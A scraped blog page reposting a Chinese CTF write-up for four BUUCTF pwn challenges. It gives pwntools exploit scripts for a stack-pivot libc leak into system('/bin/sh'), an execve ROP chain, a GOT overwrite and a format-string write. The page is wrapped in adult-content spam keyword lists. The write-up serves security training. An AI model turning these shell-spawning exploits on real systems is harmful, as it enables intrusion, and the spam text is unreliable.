日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-20

發(fā)布時間:2023/12/10 编程问答 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-20 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-20

    • actf_2019_babystack
    • picoctf_2018_can_you_gets_me
    • picoctf_2018_got_shell
    • mrctf2020_easy_equation

actf_2019_babystack

兩次棧遷移

# -*- coding:utf-8 -*- from pwn import * #context.log_level="debug" #io=process("./ACTF_2019_babystack") io=remote("node4.buuoj.cn",25080) elf=ELF("./ACTF_2019_babystack") libc=ELF("./libc-2.27-18-x64.so") leave_ret=0x0000000000400A18 pop_rdi_ret=0x0000000000400ad3 ret=0x0000000000400709 atol_got=elf.got["atol"] puts_plt=elf.plt["puts"] main=0x00000000004008F6io.sendlineafter(">","224")io.recvuntil("be saved at 0x") stack_addr=int(io.recvuntil("\n")[:-1],16)#棧上,輸入的起始地址 print("stack_addr=="+hex(stack_addr))#payload中最開始的"a"*8是抵消pop rbp payload="a"*8+p64(pop_rdi_ret)+p64(atol_got)+p64(puts_plt)+p64(main) payload=payload.ljust(208,"\x00") payload+=p64(stack_addr)+p64(leave_ret)#覆蓋正常流程的rbp為輸入的起始地址,返回到leave_ret的gadget io.sendafter(">",payload) atol_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print("atol_addr=="+hex(atol_addr)) libc_base=atol_addr-libc.sym["atol"] system=libc_base+libc.sym["system"] binsh=libc_base+libc.search("/bin/sh").next()#重復(fù)一次上面的操作,這次執(zhí)行system("/bin/sh"),輸入的起始地址改變,需重新獲取 io.sendlineafter(">","224") io.recvuntil("be saved at 0x") stack_addr=int(io.recvuntil("\n")[:-1],16) print("stack_addr=="+hex(stack_addr)) payload="a"*8+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) payload=payload.ljust(208,"\x00") payload+=p64(stack_addr)+p64(leave_ret) io.sendafter(">",payload)io.interactive()

picoctf_2018_can_you_gets_me

32位elf,靜態(tài)編譯
可用ROPgadget直接形成ROP鏈

ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain

然后就是棧溢出,ROP

from pwn import * from struct import pack #io=process('./PicoCTF_2018_can-you-gets-me') io=remote('node4.buuoj.cn',25065) def ROPchain():p = 'a'*(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += '//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return p payload=ROPchain() io.recvuntil('GIVE ME YOUR NAME!\n') io.sendline(payload) io.interactive()

picoctf_2018_got_shell

32位elf,可以執(zhí)行一次任意寫
在執(zhí)行完任意寫后還有一條puts語句,于是可以通過puts_got修改puts的實際地址為win的地址

from pwn import * #io=process('./PicoCTF_2018_got-shell') io=remote('node4.buuoj.cn',29148) elf=ELF('./PicoCTF_2018_got-shell') puts_got=elf.got['puts'] win_addr=elf.sym['win'] io.recvuntil("this 4 byte value?\n") io.sendline(hex(puts_got)) io.recvuntil("\n") io.sendline(hex(win_addr)) io.interactive()

mrctf2020_easy_equation

格式化字符串漏洞,將變量judge的值覆寫為2,即可滿足等式

from pwn import * #io=process('./mrctf2020_easy_equation') io=remote('node4.buuoj.cn',27776) judge=0x60105C payload='aa%9$naaa'+p64(judge) io.sendline(payload) io.interactive()

總結(jié)

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-20的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 激情毛片视频 | 又黄又免费的网站 | 免费精品在线 | 啪啪免费网| 国产极品久久 | 嫩草影院在线视频 | 日本一区免费看 | 国产极品探花 | 亚洲色图另类小说 | 岛国精品视频 | 日韩成年视频 | 日韩欧美高清在线视频 | 艳妇乳肉豪妇荡乳xxx | 胖女人毛片 | 国产精品成 | 俺去久久 | 国产高清一区二区 | 美女av网 | 国产成人三级在线播放 | 鲁丝一区二区三区 | 午夜激情综合 | 秋霞一区二区三区 | 国产免费一区二区三区 | 一区二区三区四区亚洲 | 制服丝袜亚洲色图 | 成人网在线 | 国产一区二区精彩视频 | 欧美激情h | 国产suv精品一区二区883 | 久久成人动漫 | 国产视频在线看 | 国产综合一区二区 | 麻豆精品国产传媒mv男同 | 巨乳女教师的诱惑 | 成人做爰视频www网站小优视频 | 国产日韩欧美精品一区二区 | jizzjizz8| 涩涩视屏 | 少妇精品视频一区二区 | 中文字幕免费在线播放 | 亚洲天堂一区在线 | caoprom97| 西西444www无码大胆 | 成人毛片在线观看 | 国精产品乱码一区一区三区四区 | 亚洲字幕在线观看 | 国产h在线 | 成人影视免费观看 | 日本aⅴ在线观看 | 97影院在线午夜 | 亚洲一区影院 | 成都4电影免费高清 | 91黄色看片 | 日韩精品无码一区二区三区久久久 | 男女深夜福利 | 国产精品免费一区二区区 | 惊艳大片mv视频 | 免费黄色欧美 | 国产一区二区欧美日韩 | 久久av不卡 | 美女三区| 国产不卡av在线 | 国产乱xxⅹxx国语对白 | 一级不卡 | 来吧亚洲综合网 | 国产精品一区二区三区免费视频 | 总裁边开会边做小娇妻h | 中文字幕11页中文字幕11页 | av高潮 | 国产丝袜自拍 | 直接看av的网站 | 日本黄色小说 | 国产成人短视频在线观看 | 色网站在线看 | 日本熟妇色xxxxx日本免费看 | 欧美精品99久久 | 欧美射射射 | 一级免费在线观看 | 黄色一级视频片 | 在线观看免费福利 | av天天干| 亚洲精品人 | 免费日韩一区 | 亚洲人成免费 | 日本一区二区高清免费 | 精品久久国产视频 | 精品人妻一区二区三区蜜桃 | 91avcom| 亚洲少妇15p | 在线观看av的网站 | 69精品人人人人 | 国产精品亚洲无码 | 五十路六十路七十路熟婆 | 欧美成人三级精品 | 国产又粗又猛又爽免费视频 | 中文字幕+乱码+中文字幕一区 | 伊人久色 | 美女天天干 | 亚洲一区av|